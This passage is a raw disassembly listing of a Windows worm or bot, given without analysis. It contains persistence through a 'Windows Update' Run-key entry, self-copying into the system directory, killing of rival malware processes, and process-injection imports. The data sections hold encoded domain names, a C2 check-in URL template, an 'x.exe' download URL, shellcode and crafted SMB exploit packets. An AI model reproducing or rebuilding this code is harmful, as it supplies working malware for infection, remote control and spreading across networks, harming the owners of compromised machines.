eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3090100C ; RegOpenKeyExA test eax, eax jz short loc_30902817 push 1 pop eax jmp short loc_30902841 ; --------------------------------------------------------------------------- loc_30902817: ; CODE XREF: sub_309027EB+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_30901008 ; RegQueryValueExA test eax, eax jz short loc_30902836 push 2 pop esi loc_30902836: ; CODE XREF: sub_309027EB+46j push [ebp+arg_10] call dword_30901014 ; RegCloseKey mov eax, esi loc_30902841: ; CODE XREF: sub_309027EB+2Aj pop esi leave retn sub_309027EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902844 proc near ; CODE XREF: sub_309029FD+96p ; sub_30902AC9+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_30901000 ; RegCreateKeyExA test eax, eax jz short loc_3090286D push 1 pop eax jmp short loc_30902894 ; --------------------------------------------------------------------------- loc_3090286D: ; CODE XREF: sub_30902844+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_30901004 ; RegSetValueExA test eax, eax jz short loc_30902889 push 2 pop esi loc_30902889: ; CODE XREF: sub_30902844+40j push [ebp+arg_4] call dword_30901014 ; RegCloseKey mov eax, esi loc_30902894: ; CODE XREF: sub_30902844+27j pop esi pop ebp retn sub_30902844 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902897 proc near ; CODE XREF: sub_3090294F+98p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_30901084 ; lstrlen mov esi, eax dec esi test esi, esi jle loc_3090294B loc_309028B7: ; CODE XREF: sub_30902897+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_309028C0 dec esi jns short loc_309028B7 loc_309028C0: ; CODE XREF: sub_30902897+24j push 0 push 2 call sub_30902C8C ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_3090294B push 128h lea eax, [ebp+var_128] push 0 push eax call sub_30902C36 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_30902C86 ; Process32First test eax, eax jz short loc_3090294B lea esi, [esi+ebx+1] loc_30902908: ; CODE XREF: sub_30902897+B2j lea eax, [ebp+var_104] push eax push esi call dword_30901100 ; strstr pop ecx test eax, eax pop ecx jz short loc_30902938 push [ebp+var_120] push 0 push 1F0FFFh call dword_309010AC ; OpenProcess push 0 push eax call dword_30901060 ; TerminateProcess loc_30902938: ; CODE XREF: sub_30902897+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_30902C80 ; Process32Next test eax, eax jnz short loc_30902908 loc_3090294B: ; CODE XREF: sub_30902897+1Aj ; sub_30902897+38j ... pop esi pop ebx leave retn sub_30902897 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090294F proc near ; CODE XREF: UPX0:30902326p var_138 = byte ptr -138h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi lea eax, [ebp+var_30] push edi mov [ebp+var_30], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_28], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_24], offset aBotLoader ; "Bot Loader" mov [ebp+var_20], offset aSystray ; "SysTray" mov [ebp+var_1C], offset aWinupdate ; "WinUpdate" mov [ebp+var_18], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_14], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_C], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_4], eax mov [ebp+var_8], 0Ah mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_309029B8: ; CODE XREF: sub_3090294F+A7j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_138] push eax push ebx push edi push esi call sub_309027EB add esp, 14h test eax, eax jnz short loc_309029EF push ebx push edi push esi call sub_309027B6 lea eax, [ebp+var_138] push eax call sub_30902897 add esp, 10h loc_309029EF: ; CODE XREF: sub_3090294F+87j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_309029B8 pop edi pop esi pop ebx leave retn sub_3090294F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309029FD proc near ; CODE XREF: sub_30902AC9+D1p ; sub_30902AC9+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_30902A12 push [ebp+arg_0] call dword_309010E0 ; DeleteFileA loc_30902A12: ; CODE XREF: sub_309029FD+Aj lea eax, [ebp+var_78] push 63h push eax call dword_3090108C ; GetSystemDirectoryA test eax, eax jz locret_30902AC7 push esi call dword_309010F8 ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_30901F2B mov esi, dword_30901088 pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_30904228 push eax call esi ; lstrcat lea eax, [ebp+var_78] push offset dword_30904230 push eax call esi ; lstrcat lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcat lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_30901050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_30901084 ; lstrlen inc eax push eax lea eax, [ebp+var_78] push eax push offset aWindowsUpdate ; "Windows Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_30902844 add esp, 14h push dword_30904FD4 call dword_3090107C ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_30901054 ; WinExec push 1F4h call dword_30901094 ; Sleep push 0 call dword_309010D8 ; ExitProcess pop esi locret_30902AC7: ; CODE XREF: sub_309029FD+23j leave retn sub_309029FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902AC9 proc near ; CODE XREF: UPX0:3090232Bp var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_30901048 ; GetModuleFileNameA test eax, eax jz loc_30902C02 and dword_30904FF0, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_309027EB add esp, 14h test eax, eax jz short loc_30902B4F call dword_309010F8 ; rand push 0Ah mov ebx, offset aSvpfpgicpowmif ; "svpfpgicpowmifdrfha" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_30901F2B pop ecx pop ecx push ebx call dword_30901084 ; lstrlen inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_30902844 add esp, 14h jmp short loc_30902B5E ; --------------------------------------------------------------------------- loc_30902B4F: ; CODE XREF: sub_30902AC9+4Dj lea eax, [ebp+var_20] push eax push offset aSvpfpgicpowmif ; "svpfpgicpowmifdrfha" call dword_30901068 ; lstrcpy loc_30902B5E: ; CODE XREF: sub_30902AC9+84j lea eax, [ebp+var_E8] push 63h push eax push offset aWindowsUpdate ; "Windows Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_309027EB add esp, 14h test eax, eax jz short loc_30902BA4 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_30902844 lea eax, [ebp+var_84] push eax push 0 call sub_309029FD add esp, 1Ch jmp short loc_30902C02 ; --------------------------------------------------------------------------- loc_30902BA4: ; CODE XREF: sub_30902AC9+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3090104C ; lstrcmpi test eax, eax jnz short loc_30902BED lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_309027EB add esp, 14h test eax, eax jnz short loc_30902C02 push ebx push edi push esi mov dword_30904FF0, 1 call sub_309027B6 add esp, 0Ch jmp short loc_30902C02 ; --------------------------------------------------------------------------- loc_30902BED: ; CODE XREF: sub_30902AC9+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_309029FD pop ecx pop ecx loc_30902C02: ; CODE XREF: sub_30902AC9+1Fj ; sub_30902AC9+D9j ... pop edi pop esi pop ebx leave retn sub_30902AC9 endp ; =============== S U B R O U T I N E ======================================= sub_30902C07 proc near ; CODE XREF: sub_309011A0+CAp ; sub_309015C7+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_30901044 ; VirtualAlloc retn sub_30902C07 endp ; =============== S U B R O U T I N E ======================================= sub_30902C1B proc near ; CODE XREF: sub_309011A0+10Bp ; sub_309015C7+BDp arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_30901040 ; VirtualFree retn sub_30902C1B endp ; --------------------------------------------------------------------------- align 10h loc_30902C30: ; DATA XREF: sub_30901422+Ao ; sub_3090235D+Ao jmp dword ptr loc_309010FC ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C36 proc near ; CODE XREF: sub_309017B9+128p ; sub_309017B9+134p ... jmp dword_309010F4 sub_30902C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C3C proc near ; CODE XREF: sub_309017B9+9Cp ; sub_309017B9+C5p ... jmp dword_309010F0 sub_30902C3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C42 proc near ; CODE XREF: sub_309017B9+93p ; sub_309017B9+B2p ... jmp dword_309010EC sub_30902C42 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_30902C50 proc near ; CODE XREF: sub_309017B9+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_30902C70 loc_30902C5C: ; CODE XREF: sub_30902C50+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_30902C5C loc_30902C70: ; CODE XREF: sub_30902C50+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_30902C50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C80 proc near ; CODE XREF: sub_30902897+ABp jmp dword_30901064 sub_30902C80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C86 proc near ; CODE XREF: sub_30902897+64p jmp dword_3090105C sub_30902C86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_30902C8C proc near ; CODE XREF: sub_30902897+2Dp jmp dword_30901058 sub_30902C8C endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 4DBh dup(0) dword_30904000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_30901422+112o dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_309015C7+84o align 10h byte_30904080 db 1 ; DATA XREF: sub_3090169C+5r off_30904081 dd offset dword_3090421C ; DATA XREF: sub_3090169C+Dr db 1, 0Ch, 42h db 90h db 30h, 1, 0FCh dd 1309041h, 309041ECh, 9041D800h, 41C80130h, 0B8013090h dd 309041h, 309041ACh, 9041A001h, 41900130h, 80003090h dd 1309041h, 30904174h, 90416801h, 415C0130h, 54013090h dd 1309041h, 30904144h, 90413401h, 41200130h, 10013090h dd 1309041h, 30904108h, 9040FC01h, 40F00130h, 3090h, 68746566h dd 2E647261h, 7A6962h, 6B636168h, 2E737265h, 766Ch, 2E767663h dd 7572h, 2E777777h, 6C646572h, 2E656E69h, 7572h, 69766F6Ch dd 646F676Eh, 736F682Eh, 6B732E74h, 0 dd 656C6966h, 72616573h, 722E6863h, 75h, 646C6F67h, 61736E65h dd 722E646Eh, 75h, 6B637566h, 75722Eh, 6F646170h, 2E696B6Eh dd 67726Fh, 6A6F7274h, 722E6E61h, 75h, 63657361h, 2E616B68h dd 7572h, 7473616Dh, 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 722E7A61h dd 75h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dd 72617778h, 6A632E65h, 656E2E62h, 74h dword_3090421C dd 617A616Dh, 616B6166h, 75722Eh ; DATA XREF: UPX0:off_30904081o dword_30904228 dd 6578652Eh, 0 ; DATA XREF: sub_309011A0+75o ; sub_30902036+55o ... dword_30904230 dd 5Ch ; DATA XREF: sub_309011A0+49o ; sub_309029FD+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_309011A0+13o align 4 aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_30901316+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_30901316+Co align 10h aZer0 db 'zer0',0 ; DATA XREF: sub_30901422+34o align 4 aHttpS db 'http://%s',0 ; DATA XREF: sub_309015C7+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=15&cnt=%s',0 ; DATA XREF: sub_309015C7+57o align 10h byte_309042F0 db 0EBh ; DATA XREF: sub_309017B9+24Eo ; sub_309017B9+260o ... db 58h word_309042F2 dw 7468h ; DATA XREF: sub_3090267B+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999ACh, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_309045B8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_309017B9+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_30904644 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_309046F0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_309047D0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_309017B9+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_30904834 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_309048A0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_30904944 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_309049C4 dd 401495h, 3, 40707Ch, 1, 0 ; DATA XREF: sub_309017B9+51Co dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_30904A58 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_30904AC4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_309017B9+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_30904B38 dd 0 ; DATA XREF: sub_309017B9+3A0o dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_30904BF6 dd 1004600h ; DATA XREF: sub_309017B9+289r dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_30904C30 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_309017B9+41Bo ; sub_309017B9+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_30904CA8: ; DATA XREF: sub_309017B9+44Ao jmp short loc_30904CB0 ; --------------------------------------------------------------------------- jmp short loc_30904CB2 ; --------------------------------------------------------------------------- align 10h loc_30904CB0: ; CODE XREF: UPX0:loc_30904CA8j ; DATA XREF: sub_309017B9+5Co pop esp pop esp loc_30904CB2: ; CODE XREF: UPX0:30904CAAj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_30904CBC dd 1CEC8166h ; DATA XREF: sub_309017B9+Dr dword_30904CC0 dd 0E4FF07h ; DATA XREF: sub_309017B9+1Cr aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_30901D20+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_30901D20+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_30901D20+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_30901D20+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_30901D20+8o ; sub_3090235D+EAo align 4 aUterm15 db 'uterm15',0 ; DATA XREF: sub_30901DA8:loc_30901E8Do ; UPX0:309022FCo ... aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_30901DA8+58o align 10h aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_30901DA8:loc_30901DEFo align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_30901DA8+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_30901DA8+18o align 10h dword_30904D70 dd 0E9F3F5h ; DATA XREF: sub_30902036+105o aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_30902036+F9o db 0Dh,0Ah db 0Dh,0Ah,0 align 4 aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_30902036+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_30902036+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_30902036+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:309022E7o align 4 aUser32 db 'user32',0 ; DATA XREF: sub_3090235D+F1o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_3090235D+E3o align 4 aWininet db 'wininet',0 ; DATA XREF: sub_3090235D+DCo aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_3090235D+CFo align 4 aU14 db 'u14',0 ; DATA XREF: sub_3090235D+BDo aU13 db 'u13',0 ; DATA XREF: sub_3090235D+B1o aU12 db 'u12',0 ; DATA XREF: sub_3090235D+A5o aU11 db 'u11',0 ; DATA XREF: sub_3090235D+99o aU10 db 'u10',0 ; DATA XREF: sub_3090235D+8Do aU9 db 'u9',0 ; DATA XREF: sub_3090235D+81o align 4 aU8 db 'u8',0 ; DATA XREF: sub_3090235D+75o align 10h aU14x db 'u14x',0 ; DATA XREF: sub_3090235D+69o align 4 aU13x db 'u13x',0 ; DATA XREF: sub_3090235D+5Do align 10h aU12x db 'u12x',0 ; DATA XREF: sub_3090235D+51o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_3090235D+45o align 10h aU10x db 'u10x',0 ; DATA XREF: sub_3090235D+3Bo align 4 aU15x db 'u15x',0 ; DATA XREF: sub_3090235D+22o align 10h aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_3090267B+2Do align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_3090216F+23o ; sub_3090294F+5Fo ... align 4 aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_3090216F+1Co ; sub_309029FD+87o ... align 4 aSvpfpgicpowmif db 'svpfpgicpowmifdrfha',0 ; DATA XREF: sub_309015C7+4Fo ; sub_30902AC9+57o ... dd 0 aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_30902AC9+32o aClient db 'Client',0 ; DATA XREF: sub_30902AC9+BCo ; sub_30902AC9+F8o align 10h aId db 'ID',0 ; DATA XREF: sub_30902AC9+37o ; sub_30902AC9+75o align 4 aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_3090294F+4Eo align 4 aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_3090294F+47o align 10h aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_3090294F+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_3090294F+39o align 4 aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_3090294F+32o align 10h aSystray db 'SysTray',0 ; DATA XREF: sub_3090294F+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_3090294F+24o align 4 aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_3090294F+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_3090294F+16o align 10h aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_3090294F+Fo align 4 a1: ; DATA XREF: sub_30902AC9+B7o unicode 0, <1>,0 dd 6 dup(0) dword_30904FC8 dd 0 ; DATA XREF: sub_30902036+C7r ; sub_3090216F+80w dword_30904FCC dd 0 ; DATA XREF: sub_309015C7+43r ; sub_3090216F+2Dw dword_30904FD0 dd 0 ; DATA XREF: sub_30902036+79r ; sub_30902036:loc_309020E4r ... dword_30904FD4 dd 44h ; DATA XREF: sub_30901DA8+C2r ; UPX0:30902307w ... dword_30904FD8 dd 0 ; DATA XREF: sub_30902349+2r ; sub_3090235D+33w dword_30904FDC dd 0 ; DATA XREF: sub_3090216F+E0w ; sub_3090267B+20r dword_30904FE0 dd 30900000h ; DATA XREF: sub_30901DA8+6r ; UPX0:309022ECw dword_30904FE4 dd 0 ; DATA XREF: sub_309015C7+49r ; sub_3090252C+37o ... dword_30904FE8 dd 0 ; DATA XREF: 